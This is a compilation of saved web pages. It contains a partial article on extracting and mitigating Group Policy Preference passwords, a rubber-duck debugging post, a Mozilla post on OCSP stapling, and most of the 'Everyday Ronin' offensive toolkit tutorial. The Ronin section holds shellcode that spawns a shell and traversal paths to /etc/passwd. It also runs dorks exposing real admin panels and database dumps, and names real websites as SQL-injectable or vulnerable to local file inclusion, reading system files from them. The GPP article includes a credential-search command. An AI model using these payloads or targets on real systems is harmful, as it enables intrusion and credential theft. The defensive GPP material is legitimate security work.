MSDN which can be used to decrypt the password. Since authenticated users
\(any domain user or users in a trusted domain\) have read access to SYSVOL,
anyone in the domain can search the SYSVOL share for XML files containing
“cpassword” which is the value that contains the AES encrypted password.

<img src='img/GPP-LocalAdmin-PasswordChange-XML-File-02-768x151.png'
width='912' height='179' />

**Exploiting Group Policy Preferences**

With access to this XML file, the attacker can use the AES private key to
decrypt the GPP password. The PowerSploit function Get-GPPPassword is most
useful for Group Policy Preference exploitation. The screenshot here shows a
similar PowerShell function encrypting the GPP password from an XML file found
in SYSVOL.

<img src='img/GroupPolicyPreferences-Decrypted-Password-768x28.png'
width='1132' height='41' />

Oddvar Moe notes a quick way to search for these:

[code]

    _findstr /S /I cpassword \\ <FQDN>\sysvol\<FQDN>\policies\*.xml_
[/code]

From what I can find, the issues with GPP credentials was first written about
by Emilien Gauralt in the post “Exploiting Windows 2008 Group Policy
Preferences” in January 2012. Unfortunately the link is dead and the content
offline. A few months later in May, Chris Campbell – wrote the article “GPP
Password Retrieval with PowerShell” as well as the first PowerShell code to
exploit this issue. Chris later updated the PowerShell code and added Get-
GPPPassword to PowerSploit. About a month later, in June, “Rewt dance” posted
a GPP exploitation expanded reference \(link offline – google cached
version\). I also recently discovered Alexandre Herzog’s post “Exploit
credentials stored in Windows Group Policy Preferences” \(dated April 2012\).

I have written about the problems with credentials in Group Policy Preferences
and the GPP patch \(KB2962486\).

_**I continue to find administrative credentials \(including Domain Admin
credentials\) in Group Policy Preference XML files in SYSVOL, especially for
scheduled tasks running under the context of admin accounts.  
**_

**The Group Policy Preference Credential Patch \(KB2962486\)**

The obvious question for defenders is how to protect against this?

Microsoft released a patch in May 13, 2014 : “MS14-025 Vulnerability in GPP
could allow elevation of privilege” \(KB2962486\). This patch needs to be
installed on all systems that administer Group Policy using the Remote Server
Administration Tools \(RSAT\). This patch prevents admins from putting
password data into a Group Policy Preference.

<img src='img/GroupPolicyPreference-Patch1-268x300.png' width='313'
height='350' /> <img src='img/GroupPolicyPreference-Patch2-300x123.png'
width='349' height='143' />

**_Note that existing Group Policy Preference files with passwords are not
removed from SYSVOL_**

Microsoft provides a sample PowerShell script for finding GPP passwords in
SYSVOL:  
https://support.microsoft.com/en-us/help/2962486/ms14-025-vulnerability-in-
group-policy-preferences-could-allow-elevation-of-privilege-may-13,-2014

**Group Policy Preference Exploitation Detection:**

XML Permission Denied Checks

  * Place a new xml file in SYSVOL & set Everyone:Deny.
  * Audit Access Denied errors.
  * Sing the associated GPO doesn’t exist, there’s no legitimate reason for access.

**Group Policy Preference Exploitation Mitigation** :

  * Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
  * Delete existing GPP xml files in SYSVOL containing passwords.

**Microsoft Local Administrator Password Solution \(LAPS\)**

The best Microsoft provided method for changing local Administrator passwords
is the “Local Administrator Password Solution” aka LAPS.

**References:**

  * Sean’s presentation slides & videos on Active Directory security
  * Group Policy Preferences AES private key on MSDN
  * Using Group Policy Preferences for Password Management = Bad Idea 
  * GPP Password Retrieval with PowerShell
  * The PowerSploit function Get-GPPPassword
  * Group Policy Preferences Password Vulnerability Now Patched 
  * Microsoft Local Administrator Password Solution \(LAPS\)

\(Visited 141,641 times, 74 visits today\)

  * __ AESkey, ChangeLocalAdministratorPassword, cpassword, ExploitingGroupPolicyPreferences, GPP, GroupPolicyPreferences, GroupPolicyPreferencesPassword, groups.xml, KB2962486, LAPS, LocalAdministrator, LocalAdministratorPassword, MS14-025, MS14025, PolicyMaker, ScheduledTasks, scheduledtasks.xml, Services.xml, SYSVOL, vbs, xml
  * 

# Creating Passionate Users: Rubberducking and Creativity

**Created:**| _5/12/2010 9:46:18 AM_  
---|---  
**Updated:**| _5/12/2010 9:46:26 AM_  
**Author:**| __  
**Tags:**| _LOLZ programming awesome_  
  

### Rubberducking and Creativity

You don't need a room full of smart people to brainstorm with--just use a
rubber duck.<img src='img/Temp2_1643.jpg' alt='Rubberduck' />

One of the first things I learned as a new programmer was the technique known
as "teddy bear programming". A story about this is in the book The Practice of
Programming, and goes something like this: a university help desk center kept
a teddy bear, and before students were allowed to bring their problem to a
human, they had to first explain it  _out loud_ to a teddy bear. The idea is
that by the time they finished telling the bear, over half of them had solved
their own problem.

But the technique is also known as rubberducking, because it doesn't matter
much  _what_ you're talking to.

**It's the _talking_ that matters. Explaining your problem out loud is often
enough to shake things loose in your brain, expose bad assumptions, and cause
you to see things in a new way.**

Gian's recent comment to the Passion is Infectious blog got me thinking about
this. He pointed out how sometimes just having someone come over and take a
look at a problem you can't solve is enough to make things happen \(and he has
a fun speculation on why sometimes two heads are better than one\).

The thing is, sometimes it doesn't have to be an Actual Carbon-based Human.
Another name for rubberducking is to use the cardboard programmer. Here's a
picture of Skyler with Legolas,<img src='img/Temp2_1642.jpg'
alt='Skylerandlegolas' /> but you could also talk to Lora Croft, Buffy, or one
of these outstanding problem solvers.

And if teddy bears are a little too cute for you, try one of these guys from
what is my favorite toy store on the planet, Kid Robot. \(Next time you're in
San Francisco, be sure to stop by... right down the street from the incredible
Amoeba Music store\).

Speaking out loud activates parts of your brain not accessed when you simply
_think_. And even better, the act of  _explaining_ something gets you thinking
in ways you might never have reached if you hadn't tried to talk through it.
We often tell students that there is usually NO better way to learn than if
you try to help someone  _else_ understand the thing you're still working on.
Learn-by-teaching is even better than just stopping with learn-by-doing. We
encourage members on the javaranch forums to try to get involved and answer
questions, even at the risk of being wrong, because it helps the question-
answerer as much as the question-asker.

And may I make an additional suggestion on the rubberducking/teddy bear
technique... it works especially well on pets. If you can get them to sit
still long enough, you might be surprised how much  _they'll_ learn in the
process. <img src='img/Temp2_1644.jpg' alt='Bert' />  
My sheep \(R.I.P.\) Albert used to be one hell of a coder, and was especially
good at brainstorming.

  

# OCSP Stapling in Firefox | Mozilla Security Blog
**Created:**| _7/30/2013 8:09:43 AM_  
---|---  
**Updated:**| _7/30/2013 8:09:43 AM_  
**Author:**| __  
**Tags:**| _browser ssl_  
  

# **O** CSP Stapling in Firefox****

0

Jul  29 2013

OCSP Stapling has landed in the latest Nightly builds of Firefox **\!** OCSP
stapling is a mechanism by which a site can convey certificate revocation
information to visitors in a privacy-preserving, scalable manner**.**  
Revocation information is important because at any time after a certificate
has been issued, it may no longer be appropriate to trust it**.** For
instance, maybe the CA that issued the certificate realizes it put incorrect
information on it**.** Maybe the website operators lose control of their
private key, or it gets stolen**.** More benignly, maybe the domain was
transferred to a new owner**.**  
The Online Certificate Status Protocol \(OCSP\) is one method for obtaining
certificate revocation information**.** When presented with a certificate, the
browser asks the issuing CA if there are any problems with it**.** If the
certificate is fine, the CA can respond with a signed assertion that the
certificate is still valid**.** If it has been revoked, however, the CA can
say so by the same mechanism**.**  

<img src='img/Temp2_5662.png' alt='OCSP prevents an attack' />

  
OCSP has a few drawbacks**.** First, it slows down new HTTPS connections**.**
When the browser encounters a new certificate, it has to make an additional
request to a server operated by the CA**.** Second, it leaks to the CA what
HTTPS sites the user visits, which is concerning from a privacy
perspective**.** Additionally, if the browser cannot connect to the CA, it
must choose between two undesirable options**.** It can terminate the
connection on the assumption that something is wrong, which decreases
usability**.** Or, it can continue the connection, which defeats the purpose
of doing this kind of revocation checking**.** By default, Firefox currently
continues the connection**.** The about:config option security.OCSP.require
can be set to true to have Firefox terminate the connection instead**.**  
OCSP stapling solves these problems by having the site itself periodically ask
the CA for a signed assertion of status and sending that statement in the
handshake at the beginning of new HTTPS connections**.** The browser takes
that signed, stapled response, verifies it, and uses it to determine if the
site’s certificate is still trustworthy**.** If not, it knows that something
is wrong and it must terminate the connection**.** Otherwise, the certificate
is fine and the user can connect to the site**.**  

<img src='img/Temp2_5664.png' alt='site asks CA for certificate status' />

  

<img src='img/Temp2_5663.png' alt='OCSP stapling' />

  
If Firefox requests but does not receive a stapled response, it falls back to
normal OCSP fetching**.** This means that while OCSP stapling protects against
mistakes and many basic attacks, it does not prevent attacks involving more
complete network control**.** For instance, if an attacker with a stolen
certificate were able to block connections to the CA OCSP responder while
running their own server that doesn’t do OCSP stapling, the user would not be
alerted that the certificate had been revoked**.** A new proposal currently
referred to as “OCSP-must-staple” is intended to handle this case by giving
sites a way of saying “any connection to this site must include a stapled OCSP
response”**.** This is still in development**.**  
OCSP stapling works with all CAs that support OCSP**.** OCSP stapling has been
implemented in popular web servers including nginx and Apache**.** If you run
a website, consider turning on OCSP stapling to protect your users**.** If you
use Firefox Nightly, enjoy the increased security, privacy, and performance
benefits**\!**

****

# Ronin - Everyday Ronin

**Created:**| _1/1/2010 2:18:05 PM_  
---|---  
**Updated:**| _1/1/2010 2:18:16 PM_  
**Author:**| __  
**Tags:**| _Exploit ruby Tutorials_  
  

<img src='img/Temp2_7005.png' alt='Ronin logo' />

  *   *     * About
    * FAQ
    * Download
    * Resources
    * Libraries
    * Contribute
    * Contact
  * 

Fork Page |  History 
# Everyday Ronin

In day-to-day usage, the Ronin Console is the most commonly used component of
Ronin. The Ronin Console is not to be confused with the text-based adventure
shells commonly found in many other projects. Instead, the Ronin Console is a
customized  Interactive Ruby Shell \(IRB\)  with tab-completion and auto-
indentation enabled. The Console provides one with the full power of the Ruby
language and the convenience methods of Ronin, all in a handy console. From
this Console one can perform research, scan for vulnerabilities and even
exploit vulnerable targets.

To install Ronin and the supporting libraries used in this HOWTO, simply run
the following command:

[code]

    $ sudo gem install ronin ronin-dorks ronin-php ronin-sql
[/code]

To start the Ronin Console, simply run the `ronin` command:

[code]

    $ ronin
[/code]

If you are new to the Ruby programming language, you might consider reviewing
the  Pragmatic Programmers Guide to Ruby , since it is expected that users of
the Ronin Console have a basic understanding of Ruby programming practices.

If you have questions regarding the methods or Classes defined within Ronin,
you can consult Ronin's  API documentation . If on the other hand, you have
questions about methods or Classes provided by Ruby itself, I recommend using
www.ruby-doc.org.

  * Convenience Methods
    * Formatting Binary Data
    * Generating Text
    * Base64
    * Digests
    * Paths
    * Networking
    * URLs
    * HTTP
  * Web
  * Google ™ Dorks
  * SQL Injection
  * PHP
    * Local File Inclusion
    * Remote File Inclusion

# Convenience Methods

## Formatting Binary Data

Packing an  Integer :

[code]

    >> 0x1337.pack(Arch.i686)
    => "7\x13\0\0"
[/code]

In Ruby everything is an  Object , even  Integers  and  Strings  are
represented as Objects. These Objects have methods and are defined by Classes,
much like any other Object in Ruby. In the example above Ronin has added the
pack method to the Integer class. Ruby's ability to add or modify methods of
pre-defined Classes is known as Open Objects.

Packing an  Integer  with a custom address length:

[code]

    >> 0x1337.pack(Arch.arm_le,2)
    => "7\x13"
[/code]

Depacking an a packed  Integer :

[code]

    >> "7\x13\0\0".depack(Arch.i686)
    => 4919
[/code]

## Generating Text

Please see the Chars library for text generation examples.

## Base64

Base64 encode a  String :

[code]

    >> payload = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\
    \x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\
    \x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xffxff\x2f\x62\x69\x6e\x2f\
    \x73\x68\x00\x89\xec\x5d\xc3"
    
    >> payload.base64_encode
    => "6ypeiXYIxkYHAMdGDAAAAAoAuAsAAACJ841OCI1WDM2AuAEAAAC7AAAAAM2A\n6NH///8vYmluL3NoAInsXcM=\n"
[/code]

Base64 decode a  String :

[code]

    >> "c2VjcmV0\n".base64_decode
    => "secret"
[/code]

## Digests

Return the MD5 checksum of a  String :

[code]

    >> "leet school".md5
    => "1b11ba66f5e9d40a7eef699cd812e362"
[/code]

Return the SHA1 checksum of a  String :

[code]

    >> "lol train".sha1
    => "37f05f0cc2914615c580af396df5c66316112f48"
[/code]

Return the SHA256 checksum of a  String :

[code]

    >> "admin".sha256
    => "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918"
[/code]

Return the SHA512 checksum of a  String :

[code]

    >> "thunder growl".sha512
    => "b2a1e560a497514dafda024f9e6fc2dfbfb178483251a708f07a88d4e157e5561604460da313ebc88dde2814ae58a15ae4085d00efb6a825a62f5be3215f5cbf"
[/code]

## Paths

Escaping a directory:

[code]

    >> Path.up(7)
    => #<Ronin::Path:../../../../../../..>
[/code]

Directory transversal:

[code]

    >> Path.up(7) / 'etc' / 'passwd'
    => #<Ronin::Path:../../../../../../../etc/passwd>
[/code]

## Networking

Creating a TCP Socket for a specified host and port:

[code]

    >> sock = Net.tcp_connect('www.example.com', 25)
    => #<TCPSocket:0xb7bbde6c>
[/code]

Creating a TCP Socket with local host and port information:

[code]

    >> Net.tcp_connect('www.example.com', 25, 'some.interface.net', 1212)
    => #<TCPSocket:0xb7ba0dd0>
[/code]

Create a TCP Socket, then send some data:

[code]

    >> Net.tcp_connect_and_send("helo lol.train.com\n", 'www.example.com', 25)
    => #<TCPSocket:0xb7b8fa6c>
[/code]

Creating a TCP session which will be automatically closed:

[code]

    >> Net.tcp_session('www.example.com', 1212) do |sock|
      sock.write("this is just a test\n")
      puts sock.readline
    end
[/code]

Grabbing the banner of a TCP service:

[code]

    >> Net.tcp_banner('www.example.com', 22)
    => "SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1.4\n"
[/code]

Creating a UDP Socket for a specified host and port:

[code]

    >> sock = Net.udp_connect('www.example.com', 135)
    => #<UDPSocket:0xb7bbde6c>
[/code]

Creating a UDP Socket with local host and port information:

[code]

    >> Net.udp_connect('www.example.com', 135, 'some.interface.net', 3030)
    => #<UDPSocket:0xb7ba0dd0>
[/code]

Create a UDP Socket, then send some data:

[code]

    >> Net.udp_connect_and_send("mic check\n", 'www.example.com', 1212)
    => #<UDPSocket:0xb7b8fa6c>
[/code]

Creating a UDP session which will be automatically closed:

[code]

    >> Net.udp_session('www.example.com', 3030) do |sock|
      sock.write("I want to devise a virus.\n")
      puts sock.readline
    end
    => nil
[/code]

For more Networking convenience methods checkout Ronin's documentation for the
Net module.

## URLs

Accessing the URL query parameters:

[code]

    >> url = URI('http://www.google.com/search?hl=en&client=firefox-a&rls=org.mozilla%3Aen-US%3Aofficial&hs=1HY&q=bob+ross&btnG=Search')
    => #<URI::HTTP:0xfdbcdcb06 URL:http://www.google.com/search?btnG=Search&hs=1HY&rls=org.mozilla:en-US:official&client=firefox-a&hl=en&q=bob+ross>>> url.query_params
    => {"btnG"=>"Search", "hs"=>"1HY", "rls"=>"org.mozilla:en-US:official", "client"=>"firefox-a", "hl"=>"en", "q"=>"bob+ross"}
    >> url.query_params['q']
    => "bob+ross"
[/code]

Setting the URL query parameters:

[code]

    >> url.query_params['q'] = 'Upright Citizens Brigade'
    => "Upright Citizens Brigade"
    >> puts url
    http://www.google.com/search?btnG=Search&hs=1HY&rls=org.mozilla:en-US:official&client=firefox-a&hl=en&q=Upright%20Citizens%20Brigade
    => nil
[/code]

Setting the URL query parameters en-mass:

[code]

    >> url.query_params = {'q'=>'meowmix', 'start' => 20, 'sa' => 'N'}
    => {"q"=>"meowmix", "start"=>20, "sa"=>"N"}
    >> puts url
    http://www.google.com/search?sa=N&start=20&q=meowmix
    => nil
[/code]

Exploding a URLs query parameters:

[code]

    >> url = URI('http://search.dhgate.com/search.do?dkp=1&searchkey=yarn&catalog=')
    => #<URI::HTTP:0xfdb917188 URL:http://search.dhgate.com/search.do?searchkey=yarn&catalog=&dkp=1>>> url.explode_query_params("'")
    => {"searchkey"=>#<URI::HTTP:0xfdb915e82 URL:http://search.dhgate.com/search.do?searchkey='&catalog=&dkp=1>, 
     "catalog"=>#<URI::HTTP:0xfdb915e6e URL:http://search.dhgate.com/search.do?searchkey=yarn&catalog='&dkp=1>,
     "dkp"=>#<URI::HTTP:0xfdb915e5a URL:http://search.dhgate.com/search.do?searchkey=yarn&catalog=&dkp='>}
[/code]

## HTTP

HTTP Proxy settings:

[code]

    >> Metwork::HTTP.proxy
    => {:port=>8080, :pass=>nil, :user=>nil, :host=>nil}
[/code]

Setting the HTTP Proxy settings:

[code]

    >> Network::HTTP.proxy[:host] = '200.207.114.146'
    => "200.207.114.146"
    >> Network::HTTP.proxy[:port] = 8080
    => 8080
[/code]

Disabling HTTP Proxy settings:

[code]

    >> Network::HTTP.disable_proxy
    => {:port=>8080, :pass=>nil, :user=>nil, :host=>nil}
[/code]

Getting a web-page:

[code]

    >> Net.http_get(:url => 'http://www.wired.com/')
    => #<Net::HTTPOK 200 OK readbody=true>
[/code]

Getting only the body of a web-page:

[code]

    >> Net.http_get_body(:url => 'http://www.wired.com/')
    => "..."
[/code]

Posting to a web-page:

[code]

    >> Net.http_post(:url => some_url, :post_data => {:q => 1, :id => 255})
    => #<Net::HTTPOK 200 OK readbody=true>
[/code]

Posting to a web-page and only returning the body of the response:

[code]

    >> Net.http_post_body(:url => some_url)
    => "..."
[/code]

# Web

The  Ronin Web  library provides support for Web Scraping and Spidering
functionality in Ronin. Before we can use this library in the Ronin Console,
we must first  require  it.

[code]

    >> require 'ronin/web'
    => true
[/code]

Ronin Proxy settings, just like in Network::HTTP.

[code]

    >> Web.proxy
    => {:port=>8080, :pass=>nil, :user=>nil, :host=>nil}
[/code]

Ronin User-Agent setting:

[code]

    >> Web.user_agent
    => nil
    >> Web.user_agent = 'PowerThurst Bot v4.7'
    => "PowerThurst Bot v4.7"
[/code]

User-Agent aliases:

[code]

    >> Web.user_agent_aliases
     => {"Mac Mozilla"=>"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.4a) Gecko/20030401",
     "Mechanize"=>"WWW-Mechanize/0.7.6 (http://rubyforge.org/projects/mechanize/)",
     "Linux Mozilla"=>"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624",
     "Windows IE 6"=>"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
     "iPhone"=>"Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1C28 Safari/419.3",
     "Windows IE 7"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
     "Linux Konqueror"=>"Mozilla/5.0 (compatible; Konqueror/3; Linux)",
     "Mac FireFox"=>"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3",
     "Windows Mozilla"=>"Mozilla/5.0 (Windows;U; Windows NT 5.0; en-US; rv:1.4b) Gecko/20030516 Mozilla Firebird/0.6",
     "Mac Safari"=>"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3"}
[/code]

Setting the Ronin User-Agent alias:

[code]

    >> Web.user_agent_alias = 'iPhone'
    => "iPhone"
[/code]

Getting a persistent  WWW::Mechanize  agent:

[code]

    >> agent = Web.agent(:user_agent_alias => 'iPhone')
    => #<WWW::Mechanize:...>>> agent.get('http://news.ycombinator.net/')
    => #<WWW::Mechanize::Page:...>
[/code]

Getting a web-page:

[code]

    >> Web.get('http://www.rubyinside.com/')
    => #<WWW::Mechanize::Page:...>
[/code]

Return the body of a web-page:

[code]

    >> Web.get_body('http://www.rubyinside.com/')
    => "..."
[/code]

Posting to a web-page:

[code]

    >> Web.post('http://www.example.com/login.php', :query => {:user => 'meowmix', :password => 'delivers'})
    => #<WWW::Mechanize::Page:...>
[/code]

Return the body of a posted web-page:

[code]

    >> Web.post_body('http://www.example.com/login.php', :query => {:user => 'meowmix', :password => 'delivers'})
    => "..."
[/code]

Opening a web-page as a file:

[code]

    >> Web.open('http://www.example.com/users.php')
    => #<File:/tmp/open-uri.6645.0>
[/code]

# Google Dorks

The  Ronin Dorks  library provides support for Google ™ Dork functionality in
Ronin. Before we can use this library in the Ronin Console, we must first
require  it.

[code]

    >> require 'ronin/dorks'
    => true
[/code]

Basic query:

[code]

    >> Web::Dorks.search(:query => 'ruby').first_page.titles
    => ["Ruby Programming Language",
    "Ruby (programming language) - Wikipedia, the free encyclopedia",
    "Ruby - Wikipedia, the free encyclopedia",
    "NetBeans IDE - Ruby and Rails features",
    "Ruby on Rails",
    "YouTube - Kaiser Chiefs - Ruby",
    "Ruby Annotation",
    "Ruby Central"]
[/code]

inurl:

[code]

    >> Web::Dorks.inurl(/page\.(php|asp)/).first_page.urls
    => [#<URI::HTTP:0xfdbcd3d1c URL:http://www.vark-learn.com/english/page.asp?p=questionnaire>,
    #<URI::HTTP:0xfdbd9d3ba URL:http://www.webconfs.com/similar-page-checker.php>,
    #<URI::HTTP:0xfdbcaf822 URL:http://www.metallica.com/page.asp?id=13367>,
    #<URI::HTTP:0xfdbca0818 URL:http://scripts.sil.org/cms/scripts/page.php?site_id=nrsi&id=encore-ipa>,
    #<URI::HTTP:0xfdbc91a0c URL:http://www.unctad.org/Templates/Page.asp?lang=1&intItemID=3198>,
    #<URI::HTTP:0xfdbc79510 URL:http://royalsociety.org/page.asp?id=6229>,
    #<URI::HTTP:0xfdbc59602 URL:http://www.poets.org/page.php/prmID/58>,
    #<URI::HTTP:0xfdbc4a210 URL:http://www.dhh.louisiana.gov/offices/page.asp?ID=192&Detail=5248>,
    #<URI::HTTP:0xfdbc37fe8 URL:http://www.youthnoise.com/page.php?page_id=2335>,
    #<URI::HTTP:0xfdbc1f100 URL:http://www.tpchd.org/page.php?id=364>]
[/code]

String inurl:

[code]

    >> Web::Dorks.string_inurl("template.inc.php?dir=").first_page.urls
    => [#<URI::HTTP:0xfdbd2d1b4 URL:http://svn.modxcms.com/crucible/browse/modx/branches/0.9.7/core/lexicon/en/template.inc.php>, 
    #<URI::HTTP:0xfdbcf316c URL:http://svn.modxcms.com/crucible/browse/modx/branches/0.9.7/manager/includes/lang/english/template.inc.php>, 
    #<URI::HTTP:0xfdbcc75a8 URL:http://scripts.ringsworld.com/customer-support/rockcontact-0.7.3/includes/template.inc.php.html>, 
    #<URI::HTTP:0xfdbd9a20a URL:http://newspoke.cpe.ku.ac.th/websvn/listing.php?sc=1&opt=dir&repname=Lervatta.Web&path=/trunk/www/template.inc.php/>,
    #<URI::HTTP:0xfdbcaf390 URL:http://www.hypernietzsche.org/websvn/listing.php?sc=1&opt=dir&repname=Hyper&path=/root/includes/classes/class.Template.inc.php/>,
    #<URI::HTTP:0xfdbc9ef36 URL:http://www.hypernietzsche.org/websvn/filedetails.php?rev=1&sc=1&repname=Hyper&path=/root/admin/inserts/includes/template.inc.php/>]
[/code]

allinurl:

[code]

    >> Web::Dorks.allinurl(['php?', 'page=']).first_page.urls
     => [#<URI::HTTP:0xfdbbe2df4 URL:http://www.jedit.org/index.php?page=download>,
    #<URI::HTTP:0xfdbbd8908 URL:http://www.lizardtech.com/download/dl_options.php?page=plugins>,
    #<URI::HTTP:0xfdbbcc55e URL:http://www.archaeological.org/webinfo.php?page=10007>,
    #<URI::HTTP:0xfdbbc5d4e URL:http://www.polarion.org/index.php?project=subversive&page=overview>,
    #<URI::HTTP:0xfdbd28d12 URL:http://www.ourdocuments.gov/content.php?page=milestone>,
    #<URI::HTTP:0xfdbcf0a34 URL:http://www.mensa.org/index0.php?page=12>,
    #<URI::HTTP:0xfdbcc55a0 URL:http://reg.imageshack.us/content.php?page=faq>,
    #<URI::HTTP:0xfdbd9da4a URL:http://www.groklaw.net/staticpages/index.php?page=20051216153153504>,
    #<URI::HTTP:0xfdbcb6186 URL:http://ktorrent.org/index.php?page=downloads>,
    #<URI::HTTP:0xfdbca58c2 URL:http://www.fair.org/index.php?page=111>]
[/code]

Index of cgi-bin:

[code]

    >> Web::Dorks.index_of_cgi_bin.first_page.urls
    =>> [#<URI::HTTP:0xfdbbe764c URL:http://www.delta-green.com/cgi-bin/>,
    #<URI::HTTP:0xfdbbe0270 URL:http://www.portales-news.com/cgi-bin/>,
    #<URI::HTTP:0xfdbbd4592 URL:http://www.newcyber-3d.com/cgi-bin/>,
    #<URI::HTTP:0xfdbbca394 URL:http://now.what-happens.com/cgi-bin/>,
    #<URI::HTTP:0xfdbbc3a44 URL:http://www.fameishmedia.com/cgi-bin/>,
    #<URI::HTTP:0xfdbd14e02 URL:http://eraserhead.net/cgi-bin/>,
    #<URI::HTTP:0xfdbce2f74 URL:http://www.bunnyjane.com/cgi-bin/>,
    #<URI::HTTP:0xfdbdc4a8c URL:http://1a-automarktplatz.de/cgi-bin/>,
    #<URI::HTTP:0xfdba221fe URL:http://www.anniemayhem.com/cgi-bin/>,
    #<URI::HTTP:0xfdba1be26 URL:http://linguafranca.mirror.theinfo.org/cgi-bin/>]
[/code]

MySQL dump files:

[code]

    >> Web::Dorks.mysql_dump.first_page.urls
    => [#>URI::HTTP:0xfdb9e059c URL:http://lyricwiki.org/survey.sql>,
    #<URI::HTTP:0xfdb9d9f58 URL:http://www.flamingspork.com/projects/memberdb/original_mysql_create_db.sql>,
    #<URI::HTTP:0xfdb9d34dc URL:http://mek.niif.hu/html/katalogusdump/mek2_mezok.sql>,
    #<URI::HTTP:0xfdb9ccd30 URL:http://www.vaxman.de/vwa_ba/examples/umfrage.sql>,
    #<URI::HTTP:0xfdb9c66c4 URL:http://sgu.bioinfo.cipf.es/services/Omidios/db/20070514_Omidios_db.sql>,
    #<URI::HTTP:0xfdb9bfcc0 URL:http://www.banadushi.com/mysql/slavesetup.sql>,
    #<URI::HTTP:0xfdb9b93fc URL:http://perkins.pvt.k12.ma.us/perkinsdump.1204.sql>,
    #<URI::HTTP:0xfdb9b282c URL:http://it1102.idi.ntnu.no/slides/Teknisk07_MySQL.sql>,
    #<URI::HTTP:0xfdb9ab824 URL:http://svn.bitflux.ch/repos/public/planet-php/trunk/div/db/mysql.sql>,
    #<URI::HTTP:0xfdb9a4b3c URL:http://wiki.powerdns.com/cgi-bin/trac.fcgi/attachment/ticket/8/dump.sql>]
[/code]

PHP MyAdmin:

[code]

    >> Web::Dorks.php_my_admin.first_page.urls
    => [#<URI::HTTP:0xfdb9663b4 URL:http://www.novarigenerazione.it/A_Sashimi_Support/dbadmin/main.php>,
    #<URI::HTTP:0xfdb95f172 URL:http://cache.univ-tlse1.fr/applis/phpmyadmin/main.php?collation_connection=utf8_general_ci&server=1&lang=en-utf-8>,
    #<URI::HTTP:0xfdb957814 URL:http://www.fangyuan.gov.tw/phpMyAdmin/main.php?server=1&lang=en-iso-8859-1>,
    #<URI::HTTP:0xfdb95028a URL:http://nowystyl.com.ua/pma99/main.php>,
    #<URI::HTTP:0xfdb949624 URL:http://www.csinaljbulit.hu/phpmyadmin/main.php?collation_connection=utf8_general_ci&server=1&lang=en-utf-8>,
    #<URI::HTTP:0xfdb9420ae URL:http://137.189.89.120/phpMyAdmin/main.php?collation_connection=utf8_general_ci&server=1&lang=en-utf-8>,
    #<URI::HTTP:0xfdb93a91c URL:http://alternc.net/admin/sql/main.php?server=1&lang=en-iso-8859-1>,
    #<URI::HTTP:0xfdb933874 URL:http://www.666counter.net/admin4/main.php?collation_connection=utf8_general_ci&mode=reload&server=1&lang=en-utf-8>,
    #<URI::HTTP:0xfdb92c484 URL:http://www.e-dayuan.com.tw/phpmyadmin/main.php?collation_connection=utf8_general_ci&server=1&lang=en-utf-8>,
    #<URI::HTTP:0xfdb924f0e URL:http://spsound.com/phpmyadmin/main.php?collation_connection=utf8_general_ci&server=1&lang=en-utf-8>]
[/code]

# SQL Injection

The  Ronin SQL  library provides support for SQL related security tasks, such
as scanning for SQL injection and exploiting it. Before we can use this
library, we have to first  require  it.

[code]

    >> require 'ronin/sql'
    => true
[/code]

Test a  String  for SQL Database errors:

[code]

    >> SQL.has_error?(response)
    => true
[/code]

Return SQL error types and messages:

[code]

    >> SQL.error(response)
    => #<Ronin::SQL::Error:0xb702e038 @message="Warning:  mysql_free_res
    ult(): supplied argument is not a valid MySQL result" @type=:mysql>
[/code]

Test a URL for SQL errors:

[code]

    >> url = URI('http://redteatrosalternativos.com/_05enlaces/links/phpHoo3.php?viewCat=1')
    => #<URI::HTTP:0xfdb826ef4 URL:http://redteatrosalternativos.com/_05enlaces/links/phpHoo3.php?viewCat=1>>> url.has_sql_errors?
    =< true
[/code]

Return a  Hash  of SQL Injectable query parameters and their SQL errors:

[code]

    >> url.sql_errors
    => {"viewCat"=>#<Ronin::SQL::Error:0xb704a288 @message="Warning:  mysql_free_res
    ult(): supplied argument is not a valid MySQL result", @type=:mysql>}
[/code]

# PHP

The  Ronin PHP  library provides support for various PHP related security
tasks, such as leveraging Local and Remote File Inclusion. Before we can use
this library in the Ronin Console, we have to first  require  it.

[code]

    >> require 'ronin/php'
    => true
[/code]

## Local File Inclusion \(LFI\)

Test a URL for LFI:

[code]

    >> url = URI('http://www.e-builds.com/?page=Portfolio')
    => #<URI::HTTP:0xfdb67c266 URL:http://www.e-builds.com/?page=Portfolio>>> url.has_lfi?
    => true
[/code]

Return a  PHP::LFI  object which can be used to access files or finger-print
the web server:

[code]

    >> vuln = url.first_lfi
    => #<Ronin::PHP::LFI:0xb6ccbbe8 @terminate=true, @up=7, @prefix=nil,
    @url=#<URI::HTTP:0xfdb67c266 URL:http://www.e-builds.com/?page=Portfolio>,
    @param="page", @os=nil>
[/code]

Return a file as a  String :

[code]

    >> vuln.get('/etc/passwd')
    => "..."
[/code]

Return a file as a  PHP::LFI::File  object similar to the  File  class:

[code]

    >> vuln.include('/etc/passwd')
    => #<Ronin::PHP::LFI::File:/etc/passwd>
[/code]

Return a  PHP::LFI::File  object only if the response is recognized as
containing the targeted file:

[code]

    >> vuln.include_target('lighttpd.conf')
    => #<Ronin::PHP::LFI::File:/etc/lighttpd/lighttpd.conf>
[/code]

Save a targeted file only if the response is recognized as containing the
targeted file:

[code]

